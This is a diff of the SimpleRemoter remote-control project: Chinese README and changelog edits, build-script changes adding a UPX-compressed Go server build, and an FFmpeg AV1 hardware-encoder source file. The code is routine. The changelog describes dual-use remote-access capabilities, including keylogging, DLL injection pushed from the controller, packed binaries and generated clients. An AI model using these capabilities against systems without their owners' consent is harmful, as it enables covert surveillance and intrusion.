 > [!NOTE]
 > **多層授權方案**
 >
-> SimpleRemoter 採用企業級多層授權架構，支援代理商/開發者獨立運營：
+> 支援代理商 / 開發者獨立營運：第一層使用者獲得授權後可完全離線使用，下級使用者只連線到您的伺服器。完整說明：[多層授權方案](./docs/MultiLayerLicense.md)
-> - **離線驗證**：第一層使用者獲得授權後可完全離線使用
+
-> - **獨立控制**：您的下級使用者只連接到您的伺服器，資料完全由您掌控
+### 編譯
-> - **自由定制**：支援二次開發，打造您的專屬版本
+
->
+- **C++ 主控 & Windows 用戶端**：VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
-> 📖 **[查看完整授權方案說明](./docs/MultiLayerLicense.md)**
+- **Linux 用戶端**：`cd linux && cmake . && make`
+- **macOS 用戶端**：`cd macos && ./build.sh`
+- **Go 主控**：`cd server/go && go build ./cmd`
 
 ---
 
-## 用戶端支援
+## 使用者文件
 
-### Windows 用戶端
+| 文件 | 適用對象 | 內容 |
-
+|---|---|---|
-**系統要求**：Windows 7 SP1 及以上
+| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分鐘首次部署 |
-
+| 📖 [多級網路搭建指南](./docs/NetworkSetup.md) | 需要管理下級的使用者 | 多級網路架構 |
-**功能完整性**：✅ 全部功能支援
+| 📖 [日常使用手冊](./docs/UserManual.md) | 所有使用者 | 全功能詳解 |
-
+| 📖 [代理商營運手冊](./docs/AgentManual.md) | 代理商 / 經銷商 | 下級授權、FRP 設定 |
-### Linux 用戶端（v1.2.5+）
+| 📖 [客製化開發指南](./docs/CustomizationGuide.md) | 技術型客戶 | 品牌客製化、二次開發 |
-
+| 📖 [Web 遠端桌面設定](./docs/WebHTTPS.md) | 行動端 / Go 主控使用者 | HTTPS 反代、網域設定 |
-**系統要求**：
+| 📖 [反濫用政策](./docs/Compliance_AntiAbuse.md) | 所有使用方 | 合規邊界、責任劃分 |
-- 顯示伺服器：X11/Xorg（暫不支援 Wayland）
+| 📖 [反濫用技術措施](./docs/Compliance_TechnicalMeasures.md) | 合規稽核方 | 屏障原始碼位置 + 設計動機 |
-- 必需套件：libX11
-- 建議套件：libXtst（XTest 擴充）、libXss（閒置偵測）
-
-**功能支援**：
-
-| 功能 | 狀態 | 實作 |
-|------|------|------|
-| 遠端桌面 | ✅ | X11 螢幕擷取，滑鼠/鍵盤控制 |
-| 遠端終端 | ✅ | PTY 互動式 Shell |
-| 檔案管理 | ✅ | 雙向傳輸，大檔案支援 |
-| 程序管理 | ✅ | 程序清單、終止程序 |
-| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
-| 常駐程式 | ✅ | 雙 fork 常駐化 |
-| 剪貼簿 | ⏳ | 開發中 |
-| 工作階段管理 | ⏳ | 開發中 |
-
-**編譯方式**：
-
-```bash
-cd linux
-cmake .
-make
-```
-
-### macOS 用戶端（v1.3.2+）
-
-**系統要求**：
-- macOS 10.15 (Catalina) 及以上
-- 架構支援：Intel (x64) 和 Apple Silicon (arm64) 通用二進位
-- 需要授予系統權限：螢幕錄製、輔助使用、完全磁碟存取
-
-**功能支援**：
-
-| 功能 | 狀態 | 實作 |
-|------|------|------|
-| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取，VideoToolbox H.264 硬體編碼 |
-| 滑鼠控制 | ✅ | CGEvent 模擬，支援雙擊、拖曳 |
-| 鍵盤控制 | ✅ | CGEvent 模擬，完整鍵碼對應 |
-| 游標同步 | ✅ | 即時同步遠端游標樣式 |
-| 遠端終端 | ✅ | PTY 互動式 Shell（zsh/bash） |
-| 檔案管理 | ✅ | 雙向傳輸、V2 協定、大檔案支援 |
-| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
-| 分組管理 | ✅ | 持久化設定檔 |
-| 程序管理 | ⏳ | 開發中 |
-| 剪貼簿 | ⏳ | 開發中 |
-
-**編譯方式**：
-
-```bash
-cd macos
-./build.sh
-# 或手動編譯：
-# mkdir build && cd build && cmake .. && make
-```
 
 ---
 
 ## 更新日誌
 
-### v1.3.3 (2026.5.10)
+### v1.3.5 (2026.5.31)
 
-**Linux/macOS 用戶端深化 & 雙層認證安全 & 跨平台共享程式碼重構**
+**硬體編碼擴充（H.264 / AV1）& 多客戶授權生產化 & FRP 子級自動化**
 
 **新功能：**
-- **服務端身分校驗（Layer 1）**：Linux/macOS 用戶端 HMAC-SHA256 校驗服務端身分，未授權服務端無法觸發任何子連線
+- **用戶端硬體編碼**：新增 FFmpeg 路徑的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`，可呼叫 NVENC / Quick Sync / AMF 等 GPU 編碼器；`EncoderFactory` 執行時自動優選
-- **子連線認證（Layer 2，TOKEN_CONN_AUTH）**：所有子連線首包簽章 + clientID 鎖定，解決 NAT/127.0.0.1 路由錯位
+- **靜畫跳編碼**：擷取層比對前後影格，完全相同時跳過編碼與傳輸——硬體編碼器在靜畫時不再被強行餵入相同影格
-- **Linux 用戶端**：H.264 硬體編碼（動態載入 libx264）、XFixes 游標類型偵測、UTF-8 協議能力位
+- **選單驅動的壓縮 / 解壓**：自訂檔案 + 資料夾選擇器（`ZstaPickerDlg`），可從遠端主機直接選混合目錄樹打包或解壓到目標路徑
-- **macOS 用戶端**：檔案管理員、遠端終端機（共享 PTYHandler）、剪貼簿同步、守護程序模式 (-d)、電源管理、螢幕鎖定/閒置偵測、CGDisplayStream 推送模式最佳化
+- **下級主控自動啟動 frp client**：上級簽發 V2 授權時一併下發 frp 設定，子級主控啟動即接通中繼鏈路，無需人工設定 `frpc.toml`
-- **主控**：螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者依群組過濾、嵌入式現代終端、自適應螢幕演算法、外部資源覆蓋、群組持久化、Build Dialog 支援產生 macOS 用戶端
+- **合規可裁剪建置**：`DISABLE_X264` / `DISABLE_FFMPEG` 編譯開關，可在不動原始碼的前提下產出完全不含 x264 / FFmpeg 的二進位，搭配 `LICENSE-THIRD-PARTY.txt`
-
-**重構：**
-- Linux/macOS 用戶端共享程式碼抽到 `common/`（rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread），減少約 300 行重複
 
 **改進：**
-- 現代終端 SYSTEM 相容：自動回退到經典終端，資訊列表給出精確原因
+- **多客戶授權伺服端硬化**：`licenses.ini` hot-path 互斥鎖 + 30s 節流，寫入頻率從 0.6 → 0.07 次/秒（外推 100 在線：~160 → ~3.3 次/秒）；閉環「預設續期配額消失」的 read-modify-write 競態
-- `build.ps1` 新增 `vswhere` 兜底（VS 裝在非預設磁碟也能找到）
+- **`licenses.ini` IP 清單 4KB 截斷修復**：分段寫入避免溢出尾部被永久丟棄
-- 強制 `/source-charset:utf-8 /execution-charset:.936` 解決英語 Windows 編譯中文亂碼
+- **匯入 SN 按 `BindType` 嚴格校驗**：避免離線版 / 連線版 / 試用版 SN 串庫
-- macOS `install.sh` 來源 binary 優先順序最佳化（命令列 → 同目錄 → build/bin），適配分發場景
+- **用戶端 SCLoader 大瘦身**：移除一萬行硬編碼 stub（`SCLoader.cpp`），改用主控執行時下發 DLL 注入
+- **用戶端 logger 優雅退出**：程序結束時刷出佇列裡的日誌並記錄退出訊號
+- **IOCPClient 早期封包防護**：`setManagerCallBack` 之前抵達的封包不再觸發空回呼崩潰
+- **多顯示器游標位置修正 & MJPEG 錄製翻轉修復**：trace cursor 跨螢幕座標系修正；MJPEG 上下顛倒回放修正 + 編碼失敗 0 位元組 AVI 殘留清理
+- **FRP `privilegeKey` 改用 UTC 時間戳**：跨時區主控 / 中繼 / 用戶端不再因本地時區讓 frp auth 失效
+- **Linux 用戶端 `install.sh` / `uninstall.sh`**：補齊一鍵部署 / 解除安裝指令稿
+- **Go 伺服端建置管線**：`build.ps1` / `build.cmd` 把 Go 主控納入主建置流程
+- **Release / Download 連結全面遷移到 Gitea**：v1.3.4+ 不再發行到 GitHub
 
 **Bug 修復：**
-- V2 檔案傳輸在檔案管理器對話方塊雙向均損壞（上傳 IP 路由錯亂 + 下載 chunk 未分發）
+- Web 檔案管理觸控雙擊不穩：觸控閾值放寬避免誤判拖曳 + 兩次 `click` 模擬實體雙擊；修復跨平台資料夾重新命名 / 點擊無回應
-- 現代終端在 SYSTEM 權限下空白（WebView2 不支援 LocalSystem）
+- 向 sub-master 發送 AUTH 時密碼產生路徑錯誤，下級始終認證失敗
-- Linux 用戶端 UTF-8 路徑/作用視窗在服務端亂碼
+- 試用 SN 誤進入 V2 / V1 授權下發分支
-- 日誌列表表頭點擊錯誤排序到主機列表
+
-- LVM_SETUNICODEFORMAT 後表頭排序失效（補充 HDN_ITEMCLICKW 對應）
+### v1.3.4 (2026.5.20)
-- 服務+代理 Release 模式系統匣圖示不顯示
+
-- macOS/Linux 用戶端群組變更後未重發 LOGIN_INFOR
+**Go 主控 & 全平台主控閉環 & Linux/macOS 用戶端剪貼簿**
-- 檔案對話方塊 map 中野指標導致崩潰
+
-- 重連時未清回呼導致存取已銷毀 handler 崩潰
+**新功能：**
-- MFC 與 Web 遠端桌面工作階段未完全獨立
+- **Go 主控**：Go 語言實作的跨平台輕量主控服務（Windows / Linux / macOS），聚焦於「遠端桌面 + 遠端終端 + 多使用者分級」——不取代 MFC 主控，為需要純 Linux/macOS 落地的運維情境兜底
-- macOS 鎖屏狀態遠端桌面啟動時未喚醒顯示器
+- **Web 遠端桌面（Go 主控）**：H.264 → WebSocket → WebCodecs 解碼、1080P @ 20fps、桌面 + 行動端全適配；遠端游標同步、Keyboard Lock 防 ESC/F11 誤退、控制態下 F11/Esc 直傳目標
-- MFC 遠端桌面觸控板雙指捲動失效
+- **Web 遠端終端（Go 主控）**：xterm.js + PTY/ConPTY 透明轉發、調整尺寸、中斷自動清理面板
+- **多使用者體系（Go 主控）**：管理員 / 一般使用者分級、按裝置群授權、Challenge-Response 登入、登入限流（IP + 使用者名）、不透明 token
+- **Linux 用戶端剪貼簿**：基於 xclip / xsel 的雙向剪貼簿同步，支援 `text/uri-list` 檔案路徑
+- **macOS 用戶端剪貼簿**：基於 NSPasteboard 的雙向剪貼簿同步，檔案 URL + 舊版 API 相容
+
+**改進：**
+- Web 工作階段自適應品質被 clamp 到 H264-only 等級（≥ Good），避免 Ultra/High（DIFF/RGB565）讓瀏覽器無法解碼
+- Linux 用戶端預設 `QualityLevel` 改為 `QUALITY_GOOD`（對齊 Windows/macOS），不再請求伺服端自適應
+- 登入文字欄位按用戶端能力位條件解碼 UTF-8 / GBK，修正德文 / 法文等帶變音符的主機名 / 地理位置亂碼
+- 裝置清單穩定排序（按上線時間），避免每次心跳 / WS 推播都洗牌
+- RDP 重置按鈕接通到裝置端 `CMD_RESTORE_CONSOLE`
+- MFC 主控開啟 Web 遠控工作階段時不再短暫閃一下視窗（OnInitDialog 工作階段判定上移）
+
+**Bug 修復：**
+- Web 工作階段從全螢幕點關閉後裝置清單點擊失靈（fullscreen 子樹規則，`showPage` 統一退全螢幕）
+- 用戶端突然中斷後 Web 遠控頁面停留在 "Connected" 永不更新（新增 `device_offline` 通知）
+- 多顯示器輪詢導致兩路螢幕子連線同時灌影格，畫面在兩個顯示器間跳變（`BindScreenConn` 退役舊 sub-conn）
+- Go 主控 `ListDevices` 因 map 迭代隨機化導致清單亂序
+
+### v1.3.3 (2026.5.10)
+
+**Linux/macOS 用戶端深化 & 雙層認證安全**
+
+- 伺服端身份校驗（Layer 1）：Linux/macOS 用戶端 HMAC-SHA256 校驗伺服端身份
+- 子連線認證（Layer 2，TOKEN_CONN_AUTH）：所有子連線首封簽章 + clientID 釘死
+- Linux 用戶端：H.264 硬體編碼、XFixes 游標類型偵測、UTF-8 協定能力位
+- macOS 用戶端：檔案管理器、遠端終端、剪貼簿同步、常駐程序模式
+- 主控：螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者按群過濾
+- 共用程式碼抽到 `common/`（rtt_estimator / client_auth_state / posix_net_helpers）
 
 ### v1.3.2 (2026.5.1)
 
 **macOS 用戶端 & Web 遠端桌面增強**
 
-**新功能：**
+- 全新 macOS 原生用戶端：螢幕擷取、H.264 編碼、鍵鼠控制
-- macOS 用戶端支援：全新實現的 macOS 原生用戶端，支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
+- Web 遠端桌面游標同步
-- Web 遠端桌面游標同步：瀏覽器端即時顯示遠端主機游標樣式
+- 觸發器功能、使用者管理（角色權限）
-- 觸發器功能：支援主機上線事件觸發自訂操作
+- DLL 執行增強、遠端桌面輸入法切換
-- 使用者管理功能：新增角色權限管理，支援多使用者分級控制
-- DLL 執行增強：參數持久化儲存、支援自動執行設定
-- 遠端桌面輸入法切換：支援遠端切換被控端輸入語言
-
-**改進：**
-- Web 遠端桌面手勢最佳化：改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
-
-**Bug 修復：**
-- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
-- 修復 macOS 完全磁碟存取權限偵測不準確的問題
-- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
-- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
-- 修復滑鼠雙擊和遠端桌面切換問題
-- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
 
 ### v1.3.1 (2026.4.15)
 
-**Web 遠端桌面 & 多主控共享增強**
+**Web 遠端桌面（MFC 主控）& 多主控共享增強**
 
-**新功能：**
+- Web 遠端桌面：基於 WebSocket 實作，手機 / 平板瀏覽器存取
-- Web 遠端桌面：基於 WebSocket 實現，支援手機/平板透過瀏覽器存取遠端桌面（[設定指南](./docs/WebHTTPS.md)）
+- 多顯示器停用自適應、狀態列到期日期自動更新
-- 撤銷共享選單：支援撤銷已共享給其他主控的用戶端
+- 多層授權自動更新、DLL 快取重用
-- 工具列音訊控制：遠端桌面工具列新增系統音訊開關圖示
-
-**改進：**
-- 多顯示器停用自適應：用戶端有多個顯示器時自動停用自適應品質
-- 狀態列過期日期自動更新：授權續期後狀態列立即重新整理
-- 減少無效離線日誌：用戶端不在主機清單時減少離線日誌輸出
-- 多層授權自動更新：第二層及以下主控的授權自動同步更新
-- 使用提示增強：新增多處操作提示改善使用者體驗
-- DLL 快取復用：將 DLL 儲存到登錄檔，下次啟動時直接復用
-
-**Bug 修復：**
-- 修復共享用戶端時鍵盤記錄可能無法正常運作的問題
 
 ### v1.3.0 (2026.4.8)
 
-**多層級 FRP 架構 & 品牌定制**
+**多層級 FRP 架構 & 品牌客製化**
 
-**新功能：**
+- 本機 FRPS 伺服器、多層級架構自動 FRP 整合
-- 本地 FRPS 伺服器支援（僅 64 位元）：內建 FRP 伺服端，簡化部署
+- V2 授權下級連線數限制、授權檔匯入 / 匯出
-- 多層級架構自動 FRP 整合：下級主控自動取得上級 FRP 設定
+- 增強型硬體 ID (V2)、UI 品牌客製化
-- V2 授權下級連線數限制：支援控制下級並發連線數
+- 執行時功能限制可設定
-- 許可證檔案匯入/匯出支援（.lic 格式）
-- 過期授權續期支援：無需重新產生許可證
-- 增強型硬體 ID (V2)：解決 VPS 重複 SN 問題
-- MaxDepth 控制：限制分級 Master 層級深度
-- 許可證管理增強：配額支援、動態對話框、刪除功能
-- IP 定位 API 多提供商回退：提高定位成功率
-- UI 品牌定制：支援自訂程式名稱、Logo、版權等
-- 執行時功能限制：試用版功能限制可設定
-- 輸入歷史下拉框：快速選擇歷史輸入
-- 產生用戶端新增選項：更多自訂設定
-- 支援動態修改專案連結：無需重新編譯更換說明/回饋連結
 
-**Bug 修復：**
+### 更早版本
-- 修復 RebuildFilteredIndices 的 Use-after-free 崩潰
-- 修復 CLock::Lock 中 IOCP 競態條件崩潰 (#215)
-- 修復崩潰保護服務清理和代理提升問題
-- 修復訊息日誌無限增長導致的潛在崩潰
-- 修復 FeatureFlags 引入後 UpperHash 字串長度問題
-- 修復用戶端 SN 產生以支援 HWIDVersion 設定
 
-**改進：**
+v1.2.x 系列（郵件通知、遠端音訊 Opus、V2 授權協定、V2 檔案傳輸、現代 Web 終端 xterm.js、遠端桌面工具列重寫、自適應品質控制、Linux 用戶端初版……）及 2019 年以來的全部演進，請見 [history.md](./history.md)。
-- 重構 res/ 目錄結構，新增選單圖示
-- 過期密碼不再被自動清除
-- 保持下級主控與第一層主控的連線穩定
-
-### v1.0.2.9 (2026.3.27)
-
-**網路安全 & 穩定性增強**
-
-**新功能：**
-- 網路設定對話框：IP 白名單/黑名單管理，即時生效
-- 可設定的連線限流：DLL 請求限流、IP 封禁閾值可調
-- IP 歷史記錄對話框：檢視授權 IP 登入歷史
-- 狀態列顯示 MTBF/執行時間和授權到期日期
-- 代理崩潰保護：5 分鐘內 3 次崩潰自動切換一般模式
-- 用戶端搜尋功能：Ctrl+F 快速搜尋 IP、位置、電腦名稱
-- 自動封禁異常 IP：60 秒內超過 15 次連線自動封禁 1 小時
-- Proxy Protocol v2 支援：FRP 代理後取得真實用戶端 IP
-- Linux 剪貼簿同步和 V2 檔案傳輸支援
-- 右鍵選單執行用戶端程式
-- 多層授權混淆支援
-
-**Bug 修復：**
-- 修復 OnUserOfflineMsg 競態條件導致的崩潰
-- 修復用戶端請求 FRPC DLL 時 FrpcParam 遺失
-- 最大資料封包從 10MB 增加到 50MB
-- 支援 mstsc 遠端工作階段讀取使用者登錄檔
-- 修復遠端桌面最小化時剪貼簿誤觸發
-- 修復操作程序對話框時主控崩潰
-- 狀態列主機數量即時更新
-- Linux select() 呼叫前重設 timeval
-- 授權碼格式驗證，過濾垃圾資料
-
-**改進：**
-- 增強授權檢查，新增 IP 封禁提示
-- 支援主控程式以使用者權限執行
-- 大型 DLL 自動使用 TinyRun 回退方案
-
-### v1.2.8 (2026.3.11)
-
-**郵件通知 & 遠端音訊**
-
-- 主機上線郵件通知（SMTP 配置、關鍵字匹配、右鍵快捷添加）
-- 遠端音訊播放（WASAPI Loopback）+ Opus 壓縮（24:1）
-- 多 FRPS 伺服器同時連接支援
-- 自訂游標顯示和追蹤
-- V2 授權協定（ECDSA 簽名）
-- 修復非中文 Windows 系統亂碼問題
-- Linux 用戶端螢幕壓縮演算法優化
-
-### v1.2.7 (2026.2.28)
-
-**V2 檔案傳輸協定**
-
-- 支援 C2C（用戶端到用戶端）直接傳輸
-- 斷點續傳和大檔案支援（>4GB）
-- SHA-256 檔案完整性校驗
-- WebView2 + xterm.js 現代終端
-- Linux 檔案管理支援
-- 主機清單批次更新優化，減少 UI 閃爍
-
-### v1.2.6 (2026.2.16)
-
-**遠端桌面工具列重寫**
-
-- 狀態視窗顯示 RTT、幀率、解析度
-- 全螢幕工具列支援 4 個位置和多顯示器
-- H.264 頻寬優化
-- 授權管理 UI 完善
-
-### v1.2.5 (2026.2.11)
-
-**自適應品質控制 & Linux 用戶端**
-
-- 基於 RTT 的智慧品質調整
-- RGB565 演算法（節省 50% 頻寬）
-- 捲動偵測優化（節省 50-80% 頻寬）
-- Linux 用戶端初版發佈
-
-完整更新歷史請檢視：[history.md](./history.md)
 
 ---
 

build.cmd

@@ -1,6 +1,8 @@
 @echo off
 :: SimpleRemoter Quick Build Script
-:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish]
+:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
+::   go-server          Build Go fallback server only -> Bin\YamaGo_x64.exe
+::   go-server publish  Same, plus UPX --best compression
 
 setlocal enabledelayedexpansion
 
@@ -18,6 +20,7 @@ if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
 if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
 if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
 if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
+if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
 echo Unknown argument: %~1
 shift
 goto :parse_args

build.ps1

@@ -15,11 +15,110 @@ param(
 
     [switch]$ServerOnly,  # Only build main server (Yama), skip client projects
     [switch]$Clean,       # Clean before build
-    [switch]$Publish      # Publish mode: rebuild all deps + x64 Release + UPX compress
+    [switch]$Publish,     # Publish mode: rebuild all deps + x64 Release + UPX compress
+    [switch]$GoServer     # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
 )
 
 $ErrorActionPreference = "Stop"
 
+$rootDir = $PSScriptRoot
+$binDir = Join-Path $rootDir "Bin"
+$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
+
+# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
+# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
+function Build-GoServer {
+    param(
+        [string]$Configuration,
+        [switch]$Compress
+    )
+
+    Write-Host ""
+    Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
+
+    $goCmd = Get-Command go -ErrorAction SilentlyContinue
+    if (-not $goCmd) {
+        Write-Host "WARNING: Go compiler not found in PATH. Skipping Go server build." -ForegroundColor Yellow
+        Write-Host "  Install from https://go.dev/dl/ and ensure 'go' is in PATH." -ForegroundColor DarkGray
+        return $false
+    }
+
+    Write-Host "Using Go: $($goCmd.Source)" -ForegroundColor Cyan
+
+    $goDir = Join-Path $rootDir "server\go"
+    if (-not (Test-Path $goDir)) {
+        Write-Host "ERROR: Go source directory not found at $goDir" -ForegroundColor Red
+        return $false
+    }
+
+    # Sync web assets (mirrors Makefile `sync` target — single source is server/web/index.html)
+    $webSrc = Join-Path $rootDir "server\web\index.html"
+    $webDstDir = Join-Path $goDir "web\assets"
+    if (Test-Path $webSrc) {
+        if (-not (Test-Path $webDstDir)) { New-Item -ItemType Directory -Path $webDstDir -Force | Out-Null }
+        Copy-Item -Path $webSrc -Destination (Join-Path $webDstDir "index.html") -Force
+    }
+
+    if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
+
+    $outFile = Join-Path $binDir "YamaGo_x64.exe"
+    # Release strips debug info for smaller binary; Debug keeps symbols.
+    $ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
+
+    Push-Location $goDir
+    try {
+        $env:GOOS = "windows"
+        $env:GOARCH = "amd64"
+        if ($ldflags) {
+            & go build -ldflags $ldflags -o $outFile ./cmd
+        } else {
+            & go build -o $outFile ./cmd
+        }
+        $code = $LASTEXITCODE
+    } finally {
+        Pop-Location
+    }
+
+    if ($code -ne 0) {
+        Write-Host "ERROR: Go build failed (exit $code)" -ForegroundColor Red
+        return $false
+    }
+
+    $size = (Get-Item $outFile).Length / 1MB
+    Write-Host "OK: $outFile ($($size.ToString('F2')) MB)" -ForegroundColor Green
+
+    # In-place UPX compression. Failure is a warning, not an error — the
+    # uncompressed binary is still usable, and UPX occasionally refuses on
+    # certain PE sections.
+    if ($Compress) {
+        Write-Host ""
+        Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
+        if (-not (Test-Path $upxPath)) {
+            Write-Host "WARNING: UPX not found at $upxPath — skipping compression" -ForegroundColor Yellow
+        } else {
+            $sizeBefore = (Get-Item $outFile).Length / 1MB
+            Write-Host "  Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
+            & $upxPath --best $outFile
+            if ($LASTEXITCODE -ne 0) {
+                Write-Host "WARNING: UPX compression failed, uncompressed binary kept" -ForegroundColor Yellow
+            } else {
+                $sizeAfter = (Get-Item $outFile).Length / 1MB
+                $ratio = (1 - $sizeAfter / $sizeBefore) * 100
+                Write-Host "  After:  $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
+            }
+        }
+    }
+    return $true
+}
+
+# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
+# Go binary too" (not the full C++ publish flow).
+if ($GoServer) {
+    $ok = Build-GoServer -Configuration $Config -Compress:$Publish
+    if (-not $ok) { exit 1 }
+    exit 0
+}
+
 # Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
 # Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
 $msBuildPaths = @(
@@ -72,9 +171,7 @@ elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
 
 Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
 
-$rootDir = $PSScriptRoot
 $slnFile = Join-Path $rootDir "YAMA.sln"
-$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
 
 # Publish mode overrides
 if ($Publish) {

client/CFFmpegAV1Encoder.cpp

@@ -0,0 +1,243 @@
+#include "CFFmpegAV1Encoder.h"
+#include "common/config.h"
+#include "common/logger.h"
+
+// 合规守护：DISABLE_FFMPEG_FOR_TEST=1 时整个实现移出编译单元（FFmpeg lib 已在
+// CFFmpegH264Encoder.cpp 用同条件链接，此处不重复 #pragma comment）
+#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
+
+extern "C" {
+#include <libavcodec/avcodec.h>
+#include <libavutil/opt.h>
+#include <libavutil/imgutils.h>
+#include <libyuv/libyuv.h>
+}
+
+#include <string.h>
+
+// FFmpeg / 系统库已经由 CFFmpegH264Encoder.cpp 的 #pragma comment(lib) 引入。
+// 这里不再重复声明（重复 #pragma comment 在同一 link 单元不冲突但冗余）。
+
+// av_opt_set 包装：拼错的参数值会被 FFmpeg 静默忽略，包一层日志便于发现。
+// 实现与 CFFmpegH264Encoder 内的 helper 相同；放成 static 文件内可见即可。
+static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
+    int rc = av_opt_set(obj, name, val, 0);
+    if (rc < 0) {
+        char errbuf[128] = {0};
+        av_strerror(rc, errbuf, sizeof(errbuf));
+        Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
+                name, val, backend, rc, errbuf);
+    }
+}
+static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
+    int rc = av_opt_set_int(obj, name, val, 0);
+    if (rc < 0) {
+        char errbuf[128] = {0};
+        av_strerror(rc, errbuf, sizeof(errbuf));
+        Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
+                name, (long long)val, backend, rc, errbuf);
+    }
+}
+
+// AV1 硬编后端探测顺序，没有 av1_mf 兜底（FFmpeg 7.1 不支持）。
+// 全失败时 EncoderFactory 自动回退到 H.264 路径，行为对称。
+static const char* kAV1Backends[] = {
+    "av1_nvenc",    // NVIDIA RTX 40 / 50 系（Ada Lovelace+）
+    "av1_amf",      // AMD RX 7000+（RDNA 3+）
+    "av1_qsv",      // Intel Arc 独显 / 部分 11 代+ 核显
+};
+
+CFFmpegAV1Encoder::CFFmpegAV1Encoder() = default;
+
+CFFmpegAV1Encoder::~CFFmpegAV1Encoder() {
+    close();
+}
+
+void CFFmpegAV1Encoder::cleanupCodec() {
+    if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
+    if (m_frame)  { av_frame_free(&m_frame);   m_frame  = nullptr; }
+    if (m_ctx)    { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
+}
+
+void CFFmpegAV1Encoder::close() {
+    cleanupCodec();
+    m_backend.clear();
+    m_pts = 0;
+    m_forceIDR = false;
+}
+
+bool CFFmpegAV1Encoder::open(const EncoderParams& params) {
+    close();
+    for (const char* name : kAV1Backends) {
+        if (tryOpenBackend(name, params)) {
+            m_backend = name;
+            return true;
+        }
+        cleanupCodec();
+    }
+    return false;
+}
+
+bool CFFmpegAV1Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
+    const AVCodec* codec = avcodec_find_encoder_by_name(name);
+    if (!codec) {
+        // AV1 硬编没注册 = 老 ffmpeg lib 不含 AV1 encoder（compress\ffmpeg 没启用 av1）
+        Mprintf("=> FFmpeg: AV1 encoder '%s' NOT in linked lib\n", name);
+        return false;
+    }
+
+    m_ctx = avcodec_alloc_context3(codec);
+    if (!m_ctx) {
+        Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
+        return false;
+    }
+
+    m_ctx->width        = p.width  & ~1;
+    m_ctx->height       = p.height & ~1;
+    m_ctx->time_base    = AVRational{1, p.fps};
+    m_ctx->framerate    = AVRational{p.fps, 1};
+    m_ctx->pix_fmt      = AV_PIX_FMT_NV12;
+    m_ctx->gop_size     = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 15);
+    m_ctx->max_b_frames = 0;
+    m_ctx->bit_rate     = (int64_t)p.bitrate_kbps * 1000;
+    m_ctx->rc_max_rate  = (int64_t)p.bitrate_kbps * 1500;
+    m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
+
+    // RC 策略与 H.264 路径对齐：peak-constrained VBR，远控静态画面省带宽。
+    if (strcmp(name, "av1_nvenc") == 0) {
+        // av1_nvenc preset p1~p7；远控 p5 兼顾质量与速度。
+        // tile-columns=1 把帧切两列，解码端并行更友好（浏览器 AV1 解码常用 SIMD/多线程）
+        setOpt(m_ctx->priv_data, "preset", "p5", name);
+        setOpt(m_ctx->priv_data, "tune", "ll", name);
+        setOpt(m_ctx->priv_data, "rc", "vbr", name);
+        setOpt(m_ctx->priv_data, "zerolatency", "1", name);
+        setOptInt(m_ctx->priv_data, "tile-columns", 1, name);
+    } else if (strcmp(name, "av1_amf") == 0) {
+        // av1_amf 选项命名与 h264_amf 大体一致，rc 同样支持 vbr_peak
+        // (见 ffmpeg -h encoder=av1_amf)。静态画面省码率四件套同 H.264 路径。
+        setOpt(m_ctx->priv_data, "usage", "lowlatency", name);
+        setOpt(m_ctx->priv_data, "quality", "quality", name);
+        setOpt(m_ctx->priv_data, "rc", "vbr_peak", name);
+        setOptInt(m_ctx->priv_data, "vbaq", 1, name);
+        setOptInt(m_ctx->priv_data, "preanalysis", 1, name);
+        setOptInt(m_ctx->priv_data, "filler_data", 0, name);
